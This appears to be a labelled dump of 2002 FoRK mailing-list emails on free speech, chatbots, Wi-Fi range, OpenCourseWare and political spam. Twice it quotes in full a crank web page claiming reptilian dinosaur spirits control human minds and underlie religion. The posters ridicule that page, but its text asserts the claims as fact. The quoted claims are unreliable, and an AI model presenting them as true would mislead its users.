speech, >hate speech, or actions. .. The first two are wrong. The first amendment DOES protect speech the Supreme Court decides it protects (duh!), and that happens to include most of what people consider hate speech. Unlike many other nations, the US has no laws against hate speech, per se. And the first amendment is the reason for that. _________________________________________________________________ Join the worlds largest e-mail service with MSN Hotmail. http://www.hotmail.com",0,1 """Mr. FoRK"" ",,"Mon, 30 Sep 2002 22:11:10 -0700",Dinosaurs Eggs and the Origins of Good and Evil,"One of the most bizarre pages I've seen on the Web. At first I thought it might be some sort of back-story to a RPG, but, nope, it looks like somebody believes this. === http://www.viking-z.org/r20i.htm M09. Dinosaurs Eggs and the Origins of Good and Evil. DINOSAURS. Reptoid ETs are reported to be 12 foot high crocodiles walking on their hind legs. This is a description of a dinosaur. It now appears in Remote Viewing that the Reptoid ETs, dinosaurs and dragons are all linked together and that they all originated on Earth. The Erideans who are Reptoid derivatives have a home planet (in the Eridanus system) like all other ETs. The Reptoids have no reported home planet. They also come over as entities with little brain who control their bodies directly by spirit. This is a description of a ghost or disincarnate entity regardless of how people see them. Thus it could be that the Reptoids, Erideans, Nordics, Anunnaki, but not the Greys, all have origins on Earth and have a strong link to Earth even if they choose to live elsewhere. The Greys do not appear to have a renal or urinary system and this points to them not originating on Earth. The definitive work on dragons is ""The Flight of Dragons"" by Peter Dickinson. If dragons did exist in the flesh, they did not survive the long bow. Targets do not come much bigger. Truth is stranger than fiction. Thus the writer's current scenario is that there were a race of dinosaurs which developed psychic intelligence to guard their eggs and young, and who probably preferred to live underground. They survived the wipe out of the dinosaurs 50 million years ago with difficulty. They evolved into the Erideans and transferred to a more hospitable planet (for them) possibly with the help of another race of ETs who wanted slaves but otherwise had no interest in Earth or mind control. Thus it appears that the current Reptoids are the Spirits or ghosts of the dinosaurs. They must have been powerful to survive 50 million years and also to appear to some people. They have appeared to the writer in remote viewing. They are living on as vampire entities. Such immortal minds are contagious and can easily jump race and species barriers. If they can be encouraged to reincarnate, then the power sources of the black magicians and mind controllers will disappear. Encouraging them to reincarnate will help so called immortal minds to disappear as immortal minds have great difficulty surviving reincarnation. Purging people's dinosaurs should remove all perverse psychic abilities not under their control. They are a source of Satanic Guardian Angels and demons. They control us by owning our psi. Thus if we regain ownership of psi, we must relinquish their control and that of all other mind controllers. Encourage people to regain ownership of their psi. THE ORIGINS OF LOVE, HATE AND PURE MALICE. The following scenario appears to hold water and can account for the origins of our Universal Subconscious. Dinosaurs laid their eggs and buried them either underground or in piles of rotting vegetation (a good source of beetles and grubs for young hatchelings). They did not sit on their eggs to keep them warm, which made them very vulnerable to drastic climate and temperature change. In order to keep away predators some at least developed psychic mind control. To do this they had to capture ownership of the psi of potential predators. This is an act of hatred and outward looking. While a few dinosaurs did develop the ability to bear living young, most did not. The dinosaurs got in first and so their mind control tends to override all other latter minds. They have become the source of all Satans, devils and demons. Birds on the other hand developed the ability to sit on their eggs and keep them warm. A hen bird normally lays a series of eggs (say one per day) and only starts sitting when the clutch is completely laid. Thus all eggs tend to hatch together as they all have an equal period of warmth. This is primarily an act of love but inward looking. Bearing live young is not suitable to a bird of the air. A pregnant pigeon would not fly very far. Antarctic penguins tuck a single egg between their legs to keep it warm, even if they are standing on ice. Mammals developed live bearing of their young which is also primarily an act of love and inward looking. This is especially true as a mammalian female can not desert her young in the womb in case of emergency as can a bird sitting on a nest. Dinosaurs developed hate and mind control of others to protect their young, while birds and mammals developed love. Birds and mammals certainly do hate all enemies of their young, but this is secondary. If one wants to purge the sources of malice of say a black magician, then purge his dinosaurs and his dinosaur eggs. Unfortunately most of our religions are based on dinosaur protection of eggs and thus mind control, regardless of the front they put out to the public. Religion tends to concentrate on ""How to Brainwash your Neighbour"". Conscious thought has built many mighty empires, theologies and slave control systems out of using ""How to care for and protect one's young"" as a foundation. Thus the foulest form of abuse possible is to call something ""A load of dinosaur's eggs"". Purging the dinosaurs and dinosaur's eggs of any entity tends to purge all malice back to its roots. It looks as if mighty immortal minds have built up from small beginnings, aided and abetted by various occultists and other. As they will insist on vampiring the living for energy to avoid reincarnation and disturbing the serenity of the writer, he encourages them to reincarnate. ITEMS FOR INSPECTION. For mind control to take place, then someone must take control or ownership of the target's psi and pleasure centres. Check for the following. Nest of dinosaur's eggs, holy dinosaurs, etc. Eggs, controllers or owners in peoples psi, pleasure centres, pain killing hormones, abilities, etc. Mind machines. The original engraving or engram. GOD and SATAN appear to be job titles and not entities in their own right. T hey appear to be dinosaur engravings or engrams. No doubt dinosaurs were the first job holders. TIMETRACKS are worth investigating as our complete history from the start of time. My, our, Man's timetracks, etc. The time tracks of the Universe, Universal Subconscious, Galactic Subconscious, etc. EXTINCT RACES of ETs can cause problems when they live on in vampire mode. Their virtues may known to channelers but they can also have vices. Whenever one hears of races which have evolved on to higher planes, suspect that the higher plane is a vampire one. One may never know what they looked like or other basic characteristics, which makes linking back a trifle difficult. Every extinct race, etc. BLOOD ANCESTORS are also worth investigating as minds can be passed down via genetic linkages. Some of these can be over 2,000 years old. Every blood ancestor, ancestral mind, genetic mind, etc.",0,1 """Mr. FoRK"" ",,"Mon, 30 Sep 2002 22:19:29 -0700",Am I This Or Not?,"Wow, talk about a pheenomeenon == http://www.iamcal.com/software/ami/ AmIThisOrNot Dynamic Peer Rating System What is It? It's a tool to help you build your own ""Am I X Or Not"" sites. Where Can I Get It? Basic Version $20 The basic version lets you build a specific ""Am I X"" site (example). The license covers a single installation on a single site. Advanced Version $40 The advanced version lets your users create their own ""Am I X"" sites (example). The license covers a single installation on a single site. Installation $20 Either version of the system can be installed on your web server, given FTP access and MySQL login details.",0,1 """Jim Whitehead"" ","""FoRK"" ","Mon, 30 Sep 2002 13:51:47 -0700",Internet Archive bookmobile,"http://www.sfgate.com/cgi-bin/article.cgi?file=/gate/archive/2002/09/26/bono act.DTL Opening arguments are set to begin early next month in Eldred vs. Ashcroft, a landmark U.S. Supreme Court case that will decide the future of copyright law, including how and when artists and writers can build upon the work of others. .... To heighten public awareness of the importance of the case an Internet bookmobile is set to depart San Francisco next Monday on a trip that will bring it to the steps of the Supreme Court building in Washington, D.C., before arguments wrap up. The van, which will be stopping at schools, libraries and senior centers along the way, is equipped to provide free high-speed access to thousands of literary and artistic works that are already in the public domain. -------- I had the opportunity to visit the Internet Archive about a month ago, and saw the bookmobile under construction. It's a neat idea. Take an SUV, put a small satellite dish on the top, and put a computer, printer, and binding machine in the back. Voila -- people can search for a book, then print out a copy right there on the spot. Quite literally on-demand printing. Total fixed cost of the computer/printer/binding machine, if bought new (the IA had the equipment donated) is under $10k. One of the goals is to show libraries across the country that they could, if they wished, add these ""virtual holdings"" (public domain materials) to their existing library, at a fixed cost most libraries can afford. This should be compelling to small libraries in remote areas. - Jim",0,1 """Mr. FoRK"" ",,"Mon, 30 Sep 2002 22:53:53 -0700",If you like graphic novels/comics,"http://www.thecliffguy.com/cliffs.htm Numerous artists drawing characters on a cliff.",0,1 """Gordon Mohr"" ","""Mr. FoRK"" , ","Mon, 30 Sep 2002 22:41:57 -0700",Re: Dinosaurs Eggs and the Origins of Good and Evil,"Neat stuff. Seems to combine elements of Scientology/Xenu and David Icke (http://www.davidicke.com/icke/temp/reptconn.html). - Gordon ----- Original Message ----- From: ""Mr. FoRK"" To: Sent: Monday, September 30, 2002 10:11 PM Subject: Dinosaurs Eggs and the Origins of Good and Evil > One of the most bizarre pages I've seen on the Web. At first I thought it > might be some sort of back-story to a RPG, but, nope, it looks like somebody > believes this. > > === > http://www.viking-z.org/r20i.htm > > M09. Dinosaurs Eggs and the Origins of Good and Evil. > DINOSAURS. Reptoid ETs are reported to be 12 foot high crocodiles walking on > their hind legs. This is a description of a dinosaur. It now appears in > Remote Viewing that the Reptoid ETs, dinosaurs and dragons are all linked > together and that they all originated on Earth. The Erideans who are Reptoid > derivatives have a home planet (in the Eridanus system) like all other ETs. > The Reptoids have no reported home planet. They also come over as entities > with little brain who control their bodies directly by spirit. This is a > description of a ghost or disincarnate entity regardless of how people see > them. Thus it could be that the Reptoids, Erideans, Nordics, Anunnaki, but > not the Greys, all have origins on Earth and have a strong link to Earth > even if they choose to live elsewhere. The Greys do not appear to have a > renal or urinary system and this points to them not originating on Earth. > The definitive work on dragons is ""The Flight of Dragons"" by Peter > Dickinson. If dragons did exist in the flesh, they did not survive the long > bow. Targets do not come much bigger. > > Truth is stranger than fiction. Thus the writer's current scenario is that > there were a race of dinosaurs which developed psychic intelligence to guard > their eggs and young, and who probably preferred to live underground. They > survived the wipe out of the dinosaurs 50 million years ago with difficulty. > They evolved into the Erideans and transferred to a more hospitable planet > (for them) possibly with the help of another race of ETs who wanted slaves > but otherwise had no interest in Earth or mind control. > > Thus it appears that the current Reptoids are the Spirits or ghosts of the > dinosaurs. They must have been powerful to survive 50 million years and also > to appear to some people. They have appeared to the writer in remote > viewing. They are living on as vampire entities. Such immortal minds are > contagious and can easily jump race and species barriers. If they can be > encouraged to reincarnate, then the power sources of the black magicians and > mind controllers will disappear. Encouraging them to reincarnate will help > so called immortal minds to disappear as immortal minds have great > difficulty surviving reincarnation. Purging people's dinosaurs should remove > all perverse psychic abilities not under their control. They are a source of > Satanic Guardian Angels and demons. They control us by owning our psi. Thus > if we regain ownership of psi, we must relinquish their control and that of > all other mind controllers. Encourage people to regain ownership of their > psi. > > THE ORIGINS OF LOVE, HATE AND PURE MALICE. The following scenario appears to > hold water and can account for the origins of our Universal Subconscious. > > Dinosaurs laid their eggs and buried them either underground or in piles of > rotting vegetation (a good source of beetles and grubs for young > hatchelings). They did not sit on their eggs to keep them warm, which made > them very vulnerable to drastic climate and temperature change. In order to > keep away predators some at least developed psychic mind control. To do this > they had to capture ownership of the psi of potential predators. This is an > act of hatred and outward looking. While a few dinosaurs did develop the > ability to bear living young, most did not. The dinosaurs got in first and > so their mind control tends to override all other latter minds. They have > become the source of all Satans, devils and demons. > > Birds on the other hand developed the ability to sit on their eggs and keep > them warm. A hen bird normally lays a series of eggs (say one per day) and > only starts sitting when the clutch is completely laid. Thus all eggs tend > to hatch together as they all have an equal period of warmth. This is > primarily an act of love but inward looking. Bearing live young is not > suitable to a bird of the air. A pregnant pigeon would not fly very far. > Antarctic penguins tuck a single egg between their legs to keep it warm, > even if they are standing on ice. > > Mammals developed live bearing of their young which is also primarily an act > of love and inward looking. This is especially true as a mammalian female > can not desert her young in the womb in case of emergency as can a bird > sitting on a nest. > > Dinosaurs developed hate and mind control of others to protect their young, > while birds and mammals developed love. Birds and mammals certainly do hate > all enemies of their young, but this is secondary. > > If one wants to purge the sources of malice of say a black magician, then > purge his dinosaurs and his dinosaur eggs. Unfortunately most of our > religions are based on dinosaur protection of eggs and thus mind control, > regardless of the front they put out to the public. Religion tends to > concentrate on ""How to Brainwash your Neighbour"". Conscious thought has > built many mighty empires, theologies and slave control systems out of using > ""How to care for and protect one's young"" as a foundation. > > Thus the foulest form of abuse possible is to call something ""A load of > dinosaur's eggs"". Purging the dinosaurs and dinosaur's eggs of any entity > tends to purge all malice back to its roots. > > It looks as if mighty immortal minds have built up from small beginnings, > aided and abetted by various occultists and other. As they will insist on > vampiring the living for energy to avoid reincarnation and disturbing the > serenity of the writer, he encourages them to reincarnate. > > ITEMS FOR INSPECTION. For mind control to take place, then someone must take > control or ownership of the target's psi and pleasure centres. Check for the > following. > > Nest of dinosaur's eggs, holy dinosaurs, etc. > Eggs, controllers or owners in peoples psi, pleasure centres, pain killing > hormones, abilities, etc. > Mind machines. > The original engraving or engram. > GOD and SATAN appear to be job titles and not entities in their own right. T > hey appear to be dinosaur engravings or engrams. No doubt dinosaurs were the > first job holders. > TIMETRACKS are worth investigating as our complete history from the start of > time. > > My, our, Man's timetracks, etc. > The time tracks of the Universe, Universal Subconscious, Galactic > Subconscious, etc. > EXTINCT RACES of ETs can cause problems when they live on in vampire mode. > Their virtues may known to channelers but they can also have vices. Whenever > one hears of races which have evolved on to higher planes, suspect that the > higher plane is a vampire one. One may never know what they looked like or > other basic characteristics, which makes linking back a trifle difficult. > Every extinct race, etc. > BLOOD ANCESTORS are also worth investigating as minds can be passed down via > genetic linkages. Some of these can be over 2,000 years old. > Every blood ancestor, ancestral mind, genetic mind, etc. >",0,1 Gregory Alan Bolcer ,FoRK ,"Tue, 01 Oct 2002 07:07:19 -0700",Re: A moment of silence for the First Amendment & Angry Liberal Yutes,"Russell Turpin wrote: > > Gregory Alan Bolcer: > >I'm not sure since I haven't attended civics class > >in quite some time, but the First Amendment doesn't cover protected speech, > >hate speech, or actions. .. > > The first two are wrong. The first amendment DOES > protect speech the Supreme Court decides it protects > (duh!), and that happens to include most of what > people consider hate speech. Unlike many other > nations, the US has no laws against hate speech, per > se. And the first amendment is the reason for that. > This was poking fun of the practice of making up differnt types of speech with different types of protected status. I think the laws specialing out hate and protected speech are ridiculous. The point I keep trying to make is that there's only two types, speech and action. I agree, they are all speech and should be covered by the First Amendment, but If hate speech is so protected, why are certain states trying to prosecute people for it? There's only two answers and one of them is wrong. 1) Because hate speech is different and needs to have a different level of protection dictated by whoever's offended at the time. 2) It's because it's not just speech, but action. A action who's consequences are foreseeable by any reasonable person. Hate speech is mislabeled. It's really ""threat"". I think they let the mislabeling perpetuate as there's advantage in being able to counter-threat with loss of liberty and money through civil and criminal lawsuits for people THEY don't like. Greg > _________________________________________________________________ > Join the world?s largest e-mail service with MSN Hotmail. > http://www.hotmail.com",0,1 """B.K. DeLong"" ","Eugen Leitl , forkit! ","Tue, 01 Oct 2002 10:05:59 -0400",Re: MIT OpenCourseWare,"At 05:38 PM 9/30/2002 +0200, Eugen Leitl wrote: >Looks useful. Hopefully, they'll put up some more material soon. > > http://ocw.mit.edu/global/all-courses.html I'll be sure to keep everyone posted on the next update. :) -- B.K. DeLong bkdelong@ceci.mit.edu OpenCourseWare +1.617.258.0360 +1.617.877.3271 (cell)",0,1 """Meltsner, Kenneth"" ","""forkit!"" ","Tue, 1 Oct 2002 10:55:14 -0400",RE: MIT OpenCourseWare,"Better late than never -- I received a grant from Project Athena, MIT's original courseware effort, and found at the end that they hadn't thought much about distribution of the courseware. Instead, they had gotten wrapped up with X and various Unix tools, and other useful, but not strictly educational efforts. Ken > -----Original Message----- > From: B.K. DeLong [mailto:bkdelong@pobox.com] > Sent: Tuesday, October 01, 2002 9:06 AM > To: Eugen Leitl; forkit! > Subject: Re: MIT OpenCourseWare > > > At 05:38 PM 9/30/2002 +0200, Eugen Leitl wrote: > > > >Looks useful. Hopefully, they'll put up some more material soon. > > > > http://ocw.mit.edu/global/all-courses.html > > I'll be sure to keep everyone posted on the next update. :) > > > -- > B.K. DeLong > bkdelong@ceci.mit.edu > OpenCourseWare > > +1.617.258.0360 > +1.617.877.3271 (cell) > >",0,1 Eirikur Hallgrimsson ,"""Mr. FoRK"" , ","Tue, 1 Oct 2002 10:40:01 -0400",Re: The Wrong Business,"On Tuesday 01 October 2002 01:27 am, Mr. FoRK wrote: > http://www.rathergood.com/vikings/ Some classics from this period, now in a new English translation: ""The Sagas of Icelanders"" in trade paperback, from (duh) Viking, in 2000. Remaindered at my local Barnes & Ignoble. The historical reference material is useful. Eirikur",0,1 Elias ,fork@spamassassin.taint.org,"Tue, 01 Oct 2002 18:54:02 -0700",Re: So I missed this one...,"bitbitch@magnesium.net wrote: > Turns out the music industry settled ... quite a hefty > settlement. Funnky, I thought that it was minor in comparison the the gouging that occurs on a standard CD. > The Wall Street Journal > Copyright (c) 2002, Dow Jones & Company, Inc. > Tuesday, October 1, 2002 > > Five Music Concerns To Pay $143.1 Million In Price-Fixing Case > Reuters News Service ... > The companies, which didn't admit any wrongdoing, will pay $67.4 > million in cash to compensate consumers who overpaid for CDs between > 1995 and 2000. The companies also agreed to distribute $75.7 million > worth of CDs to public entities and nonprofit organizations throughout > the country. The CDs will probably cost less than 7.5 million to produce and distribute... ""didn't admit any wrongdoing""?!? Give me a break. Elias",0,0 bitbitch@magnesium.net,Elias ,"Tue, 1 Oct 2002 22:16:10 -0400",Re[2]: So I missed this one...,"Hello Elias, Tuesday, October 1, 2002, 9:54:02 PM, you wrote: E> bitbitch@magnesium.net wrote: >> Turns out the music industry settled ... quite a hefty >> settlement. E> Funnky, I thought that it was minor in comparison the the gouging that E> occurs on a standard CD. >> The Wall Street Journal >> Copyright (c) 2002, Dow Jones & Company, Inc. >> Tuesday, October 1, 2002 >> >> Five Music Concerns To Pay $143.1 Million In Price-Fixing Case >> Reuters News Service ... >> The companies, which didn't admit any wrongdoing, will pay $67.4 >> million in cash to compensate consumers who overpaid for CDs between >> 1995 and 2000. The companies also agreed to distribute $75.7 million >> worth of CDs to public entities and nonprofit organizations throughout >> the country. E> The CDs will probably cost less than 7.5 million to produce and E> distribute... ""didn't admit any wrongdoing""?!? Give me a break. E> Elias Toobad none of this will go back to any of the people who were forced to pay the rates. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 """R. A. Hettinga"" ","""Mr. FoRK"" , ","Tue, 1 Oct 2002 20:06:38 -0400",Re: The Wrong Business,"At 10:27 PM -0700 on 9/30/02, Mr. FoRK wrote: > I realize now, that after reviewing the past several years of work and > career, I have been in the wrong business. The wrong business. > > This is what I should have been doing. > > http://www.rathergood.com/vikings/ A New Manual has been published: Or, the one I read... And, of course, the open source versions... http://users.ev1.net/~theweb/njaltoc.htm http://sunsite.berkeley.edu/OMACL/Njal/ -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Ian Andrew Bell ,Eugen Leitl ,"Tue, 1 Oct 2002 20:22:36 -0700",Re: Wifi query,"I think what you're looking at with the dual antenna mounts is a diversity antenna. It won't work too well with one hooked up to the pringles can and the other hooked up to a regular rubber duck. -Ian. On Tuesday, October 1, 2002, at 01:04 PM, Eugen Leitl wrote: > > 1) reinforced concrete shields like the dickens; wood lots less so > 2) line of sight is best (o'really?) > 3) if you want to boost range, use directional aerials, not omnis > > Direct line of sight (no trees, no nothing) can give you ~10 km with > well > aligned directional aerials (and, say, no sleet, no locusts, nor rain > of > blood). If you want to fan out afterwards, use a bridge of a > directional > coupling to an omni. 802.11a should shield within building lots more > than > 802.11b, ditto line of sight with lots of precipitation inbetween. > > On Tue, 1 Oct 2002, Damien Morton wrote: > >> I just bought a LinkSys BEFW1154v2 Access Point Router for $150 >> (http://www.linksys.com/products/product.asp?grid=22&prid=415). Im >> doing >> some dev work on a Symbol PocketPC device with built in 802.11b. >> >> In this 600 sq ft pre-war New York apartment it goes through 2 or 3 >> walls, into the hallway and halfway down the first flight of stairs >> before it loses contact with the base station. That's less than 50 ft. >> Inside the apartment, it works just fine. >> >> I just did some further testing - through 2 brick walls the range is >> about 25 feet. The signal also goes through the roof pretty much >> unimpeded. >> >> That said, the Symbol device doesn't have an antenna to speak of, and >> I >> havent done any tweaking to try to extend the range. >> >> The Linksys unit has two antenna mounts - you could leave one as an >> omni >> antenna while hooking up a directional antenna to the other. >> >> You might find that you have to use several access points and/or >> repeaters to get the coverage you want.",0,1 Eirikur Hallgrimsson ,"Rohit Khare , fork@spamassassin.taint.org","Tue, 1 Oct 2002 23:30:47 -0400",Re: Optical analog computing?,"Uh, WWII Enigma was cracked at Bletchly Park, based on the work of some Poles, who had been trying to figure out when they would be invaded. Entirely mechanical! Definitely not optical at all. Enigma was originally broken based on bad use practice. If it had been employed more sensibly it would have been a lot harder. See ""The Code Book"" by Singh, Doubleday, 1999. Or, for that matter, ""Cryptonomicon"" by Stephenson, which is a fictionalization of the Enigma cracking story, and pretty accurate. I eventually get born as a side-effect of the Battle of Britain, you see.... Computing with interference patterns, etc, makes perfect sense, but Enigma was cracked by building mechanical systems that were essentially Enigma machines and brute-forcing. Eirikur",0,0 """Damien Morton"" ","""'Ian Andrew Bell'"" ,","Tue, 1 Oct 2002 23:48:02 -0400",RE: Wifi query,"That's what the manual said - a diversity antenna. Why wouldn't it work well with one omni and one directional antena? IANAEE, but doesn't that count as diversity? > -----Original Message----- > From: Ian Andrew Bell [mailto:fork@ianbell.com] > Sent: Tuesday, 1 October 2002 23:23 > To: Eugen Leitl > Cc: Damien Morton; tomwhore@slack.net; fork@spamassassin.taint.org > Subject: Re: Wifi query > > > > I think what you're looking at with the dual antenna mounts is a > diversity antenna. It won't work too well with one hooked up to the > pringles can and the other hooked up to a regular rubber duck. > > -Ian. > > > On Tuesday, October 1, 2002, at 01:04 PM, Eugen Leitl wrote: > > > > > 1) reinforced concrete shields like the dickens; wood lots less so > > 2) line of sight is best (o'really?) > > 3) if you want to boost range, use directional aerials, not omnis > > > > Direct line of sight (no trees, no nothing) can give you ~10 km with > > well > > aligned directional aerials (and, say, no sleet, no > locusts, nor rain > > of > > blood). If you want to fan out afterwards, use a bridge of a > > directional > > coupling to an omni. 802.11a should shield within building > lots more > > than > > 802.11b, ditto line of sight with lots of precipitation inbetween. > > > > On Tue, 1 Oct 2002, Damien Morton wrote: > > > >> I just bought a LinkSys BEFW1154v2 Access Point Router for $150 > >> (http://www.linksys.com/products/product.asp?grid=22&prid=415). Im > >> doing some dev work on a Symbol PocketPC device with built in > >> 802.11b. > >> > >> In this 600 sq ft pre-war New York apartment it goes > through 2 or 3 > >> walls, into the hallway and halfway down the first flight > of stairs > >> before it loses contact with the base station. That's less than 50 > >> ft. Inside the apartment, it works just fine. > >> > >> I just did some further testing - through 2 brick walls > the range is > >> about 25 feet. The signal also goes through the roof pretty much > >> unimpeded. > >> > >> That said, the Symbol device doesn't have an antenna to > speak of, and > >> I > >> havent done any tweaking to try to extend the range. > >> > >> The Linksys unit has two antenna mounts - you could leave one as an > >> omni > >> antenna while hooking up a directional antenna to the other. > >> > >> You might find that you have to use several access points and/or > >> repeaters to get the coverage you want. >",0,1 bitbitch@magnesium.net,Fork@xent.com,"Tue, 1 Oct 2002 23:05:56 -0400",Creative political speech,"http://www.quitpalestine.org./ Funny as all hell. So a group of 25 QUIT (Queers Undermining Israeli Terrorism) marched into the local starbucks in Berkeley (Of course, they pick a safe city like Berkeley, but hey, still funny) and 'settle' driving away straights and other prior inhabitants with supersoakers :) Incredibly creative, in my opinion. Not terribly violent (I mean, how much damage can you -really- do with a supersoaker?) but definintely a newscatcher. Its nice to see folks are finding some creative means to make a point. Even if you don't -agree- with it, its a hard sell to say that this has been done before. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,1 """Mr. FoRK"" ",,"Tue, 1 Oct 2002 23:07:59 -0700",ActiveBuddy,"Kind of interesting application of 'agent' technology. A mix of telnet and Eliza? (wonder if KnowNow needs this as a partner...) == http://www.activebuddy.com/products/index.shtml ActiveBuddy, Inc. has developed patented technology for building and deploying interactive agents. ActiveBuddy's BuddyScript technology powers business solutions that leverage the functionality, convenience and appeal of instant messaging to provide an efficient and immediate means of communication with customers and constituents. ActiveBuddy technology is proven in the marketplace by the smash success of SmarterChild, ActiveBuddy's showcase interactive agent launched in June 2001 and visited by over 8 million consumers in its first year of life. Interactive agents allow your customers and constituents to receive information and services in a natural, conversational interface. Software Products BuddyScriptT Server - an end-to-end software solution for deploying interactive agents. BuddyScript Server provides every component required to operate an interactive agent, including connectivity with the messaging network, message routing, data access, message formatting, user and session management, and detailed tracking. BuddyScript Server is offered in four configurations to meet your capacity needs. Its scaleable architecture supports virtually unlimited usage. More... === Here is a sample conversation on (MSN Messenger with 'SmarterChild'): Mike says: how are you? SmarterChild says: Great thx! You? Mike says: Fine. What is the weather like in seattle? SmarterChild says: Current weather conditions for Seattle, WA: Currently: 57 F Condition: Few Clouds Real Feel: 57 F Dewpoint: 44 Humidity: 62 % Visibility: 10 mi Wind: N/0 mph Next time, just type ""weather seattle, wa."" To get the forecast for Seattle, WA, just type ""forecast.""",0,1 bitbitch@magnesium.net,"""Mr. FoRK"" ","Wed, 2 Oct 2002 10:49:00 -0400",Re: ActiveBuddy,"MF> Here is a sample conversation on (MSN Messenger with 'SmarterChild'): MF> Mike says: MF> how are you? MF> SmarterChild says: MF> Great thx! You? Oh freaking great. In their adoption to make it 'more human' they have to add in all the broken english and shortened AOL-style phrasings. YAY. Next thing you know, the AI will be asking for ASL... Evil.",0,0 """Jason Ling"" ","""Joseph S. Barrera III"" , ""FoRK"" ","Thu, 26 Sep 2002 12:43:19 -0400",Re: dumb question: X client behind a firewall?,"------=_NextPart_001_0004_01C2655A.4ABB3500 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable ----- Original Message ----- From: Joseph S. Barrera III Sent: Wednesday, September 25, 2002 7:06 PM To: FoRK Subject: dumb question: X client behind a firewall? Let's say you're behind a firewall and have a NAT address. Is there any way to telnet to a linux box out there in the world and set your DISPLAY in some way that you can create xterms on your own screen? - Joe -------------------- I'm in no way a pro but perhaps you could set your Firewall to accept con= nections from that Linux box and then somehow set the Linux box to transm= it on a specific port. Then configure your router to forward all informat= ion from that port to your box. But then again, that pretty much defeats the entire point of a firewall =3D= P.Get more from the Web. FREE MSN Explorer download : http://explorer.ms= n.com ------=_NextPart_001_0004_01C2655A.4ABB3500 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable   <= DIV>  = ----- Original Message ----- From: Joseph S. Barrera III Sent: Wednesday, September 25, 2002 7:06 PM To: FoRK Subject: dumb question: X client behind a firewall?   L= et's say you're behind a firewall and have a NAT address.Is there any= way to telnet to a linux box out there in the worldand set your DISP= LAY in some way that you can createxterms on your own screen?= - Joe   -------------------- I'm in no way a pr= o but perhaps you could set your Firewall to accept connections from that= Linux box and then somehow set the Linux box to transmit on a specific p= ort. Then configure your router to forward all information from that port= to your box.   But then again, that pretty much defea= ts the entire point of a firewall =3DP.Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com ------=_NextPart_001_0004_01C2655A.4ABB3500--",0,1 Gary Lawrence Murphy ,fork ,02 Oct 2002 11:12:42 -0400,Polit-spam,"This is something new, or at least new to me: Politspam (n): Using a spam engine for political purposes. In this particular case, to get back at the University of Groningen. The content suggests its more prank than vigilante activism (in the old days we used to say ""someone left their terminal unguarded"") but what's interesting is that it's not trying to sell me anything or lead me to any for-fee service, it's just trying to spread a meme that RUG is evil. >>>>> ""w"" == wpin writes: w> Those who want to leave for the Netherlands to carry on any w> kind of education,including for PHD, must be careful w> . Especially the university of Groningen(RUG) should be w> avoided. This university was once a good one but now it has w> lost its reputation. ... Studying is a good investment in time w> and money. So invest in the right place and time. You are w> warned. w> Sincerely yours, w> hyohxsycjlakdbmhjpiouupngoqrm Has anyone else started to receive either consumer vigilante or political activism messages via spam methods? -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Gary Lawrence Murphy ,"""Mr. FoRK"" ",02 Oct 2002 12:25:52 -0400,Re: ActiveBuddy,"How is this any different from attaching an Infobot or A.L.I.C.E through licq's console-hook? People have been doing that for years, and for over a decade in IRC and the MUDs. ... and the one thing I think we've learned in all that time is that, as a help-desk, it doesn't work. People just don't like talking to robots, especially when the robots, once confused, become imbeciles. I think the humans may feel cheated, deceived and tricked when they discover, as with the Seattle answer, that they are talking to a machine; there's no real intelligence behind that simulated-friendly and therefore empty 'thx'. AIML is clever and cute, but for /practical/ applications as a first line of technical support? It's been tried over and over, and while I /also/ think that it /should/ work, for the most part, people won't use it. What's worse, as we make the NL processing more and more clever, it only means it fails more dramatically; ALICE doesn't just stumble a bit, it starts to drool. And ALICE is the best we have. Like a Dalek: All very impressive when things are going well, but all it takes to betray the chicken-brain inside is a towel over it's ill-placed eye, or a spin off the metal surface ;) In all the prolog-based NL database query systems of the 1980's and other later chatterbot helpdesk projects like Shallow Red, even simpler tries like Ask Jeeves, people very quickly know they're talking to a robot, and the queries anneal to short, truncated and terse database-like verb-noun or just noun-keyword requests. People are just too quick to adapt, and too impatient to forgive a clunky interface, and for now, especially when the /average/ computer user still can't type more than maybe 5-10wpm, NL is a painfully slow clunky interface. Put it this way: Would you login, wake the bot and ask for the Seattle weather, or would you do as we /all/ do and just click the weather icon sitting there on your desktop? Just for fun, here's an interesting conversation between Shallow Red, ALICE and Eliza as they decide to play the Turing Game: http://www.botspot.com/best/12-09-97.htm -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Tom ,fork@spamassassin.taint.org,"Wed, 2 Oct 2002 12:46:45 -0400 (EDT)",Re: ActiveBuddy,"Wow, if they put a VRML front end on it it would be 100% worthless rather than just 99% IRC...Bots....scripts.....been there done that and much better. If these folks actualy saw the xddc instafilesharing scripts must 12 year olds hang off of Mirc they might get a clue, then again they might already have teh clue that sometimes you can packege the obvious and sell it to the clueless.",0,0 """Mr. FoRK"" ","""fork"" ","Wed, 2 Oct 2002 09:48:45 -0700",Re: Polit-spam,"----- Original Message ----- From: ""Gary Lawrence Murphy"" > > >>>>> ""w"" == wpin writes: > > w> Those who want to leave for the Netherlands to carry on any > w> kind of education,including for PHD, must be careful > w> . Especially the university of Groningen(RUG) should be > w> avoided. This university was once a good one but now it has > w> lost its reputation. ... Studying is a good investment in time > w> and money. So invest in the right place and time. You are > w> warned. Dear gawd - 'lost its reputation' - how horrible for those Northern Europeans. What could possibly be worse than that?",0,0 Gary Lawrence Murphy ,,02 Oct 2002 12:27:48 -0400,Re: ActiveBuddy,"let me put it /another/ way ... f> Mike says: how are you? f> SmarterChild says: Great thx! You? f> Mike says: Fine. What is the weather like in seattle? f> SmarterChild says: Current weather conditions for Seattle, WA: Out of 8 /million/ alledged visitors, this is the /best/ example??? -- Gary Lawrence 